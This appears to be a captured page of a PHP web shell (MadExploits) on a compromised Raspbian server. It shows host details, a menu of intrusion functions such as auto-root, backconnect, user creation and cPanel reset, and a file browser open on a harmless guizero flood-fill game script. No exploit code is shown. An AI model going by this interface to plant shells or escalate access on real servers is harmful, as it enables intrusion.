Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.10
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python3-guizero /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
after_repeat.py
629
B
-rw-r--r--
alert.py
93
B
-rw-r--r--
aligning.py
1.08
KB
-rw-r--r--
animated_picture.py
301
B
-rw-r--r--
app_events.py
1.36
KB
-rw-r--r--
auto_update_example.py
511
B
-rw-r--r--
binary_counter.py
607
B
-rw-r--r--
box.py
164
B
-rw-r--r--
button.py
283
B
-rw-r--r--
button_group.py
503
B
-rw-r--r--
button_toggle_state.py
409
B
-rw-r--r--
button_value.py
327
B
-rw-r--r--
changing_sizes.py
781
B
-rw-r--r--
checkbox.py
152
B
-rw-r--r--
clickable_waffle.py
504
B
-rw-r--r--
colors_and_text.py
1016
B
-rw-r--r--
colour_example.py
764
B
-rw-r--r--
combo.py
284
B
-rw-r--r--
demo.py
1.7
KB
-rw-r--r--
demo_converted_from_tk_v1.py
2.83
KB
-rw-r--r--
demo_converted_from_tk_v2.py
2.77
KB
-rw-r--r--
floodit.py
2.77
KB
-rw-r--r--
grid_layout.py
846
B
-rw-r--r--
guizero.gif
20.47
KB
-rw-r--r--
guizero.jpg
61.1
KB
-rw-r--r--
guizero.png
56.83
KB
-rw-r--r--
guizero_flash.gif
38.93
KB
-rw-r--r--
hide_show_test.py
1.16
KB
-rw-r--r--
layout_beyonce.py
382
B
-rw-r--r--
layout_boxes.py
697
B
-rw-r--r--
layout_form.py
561
B
-rw-r--r--
layout_settings.py
1.01
KB
-rw-r--r--
layout_terms.py
1.6
KB
-rw-r--r--
listbox.py
780
B
-rw-r--r--
load_picture.py
201
B
-rw-r--r--
massive_waffle.py
832
B
-rw-r--r--
menu_bar.py
532
B
-rw-r--r--
multi_app.py
547
B
-rw-r--r--
multi_box.py
1.15
KB
-rw-r--r--
multi_window.py
625
B
-rw-r--r--
multiline_textbox.py
563
B
-rw-r--r--
on_close.py
363
B
-rw-r--r--
picture_button.py
413
B
-rw-r--r--
random_appearance.py
1.06
KB
-rw-r--r--
resize_picture.py
398
B
-rw-r--r--
resize_picture_button.py
457
B
-rw-r--r--
resize_waffle.py
618
B
-rw-r--r--
scale_picture.py
514
B
-rw-r--r--
sensehat_read_data.py
3.98
KB
-rw-r--r--
slider_textbox.py
202
B
-rw-r--r--
textbox.py
393
B
-rw-r--r--
waffle.py
627
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : floodit.py
from guizero import App, Waffle, Text, PushButton, info import random # Set up the game - colours, width and height of board and no of moves allowed colours = ["red", "blue", "green", "yellow", "fuchsia", "purple"] b_width = 14 b_height = 14 moves_limit = 25 # Set up the palette def init_palette(): [palette.set_pixel(colours.index(c), 0, c) for c in colours] # Fill the board with coloured regions def fill_board(): [board.set_pixel(x, y, random.choice(colours)) for y in range(b_height) for x in range(b_width)] # Find and flood any squares next to this def begin_flood(x, y): replacement = palette.get_pixel(x,y) target = board.get_pixel(0,0) flood(0, 0, target, replacement) win_check() # Recursively floods adjacent squares def flood(x, y, target, replacement): # Algorithm from https://en.wikipedia.org/wiki/Flood_fill if target == replacement: return False if board.get_pixel(x, y) != target: return False board.set_pixel(x, y, replacement) if y+1 <= b_height-1: # South flood(x, y+1, target, replacement) if y-1 >= 0: # North flood(x, y-1, target, replacement) if x+1 <= b_width-1: # East flood(x+1, y, target, replacement) if x-1 >= 0: # West flood(x-1, y, target, replacement) # Check if there are any moves left or if they won def win_check(): moves_left = int(moves_text.value)-1 moves_text.value = moves_left # Update moves left if moves_left > 0: squares = board.get_all() if all(colour == squares[0] for colour in squares): win_text.value = "Winner!" reset.visible = True palette.disable() else: win_text.value = "No more moves left!" reset.visible = True palette.disable() # Reset the board and remove the win text/reset button def reset_board(): reset.visible = False win_text.value = "" moves_text.value = moves_limit init_palette() fill_board() palette.enable() # Set up the game board app = App("Flood it") board = Waffle(app, width=b_width, height=b_width, pad=0) palette = Waffle(app, width=len(colours), height=1, command=begin_flood, dotty=True) moves_left = Text(app, text="Moves left:") moves_text = Text(app, text=moves_limit) # Win text and reset button (initially invisible) win_text = Text(app) reset = PushButton(app, text="Start again", command=reset_board) reset.visible = False # Initialise the palette and the random board pattern init_palette() fill_board() # Instructions instructions = PushButton(app, command=info, args=["Instructions", "Click a dot to flood the grid with that colour, beginning from the top left square. You have 25 moves to flood all squares on the grid with the same colour."], text="Instructions") app.display()
Close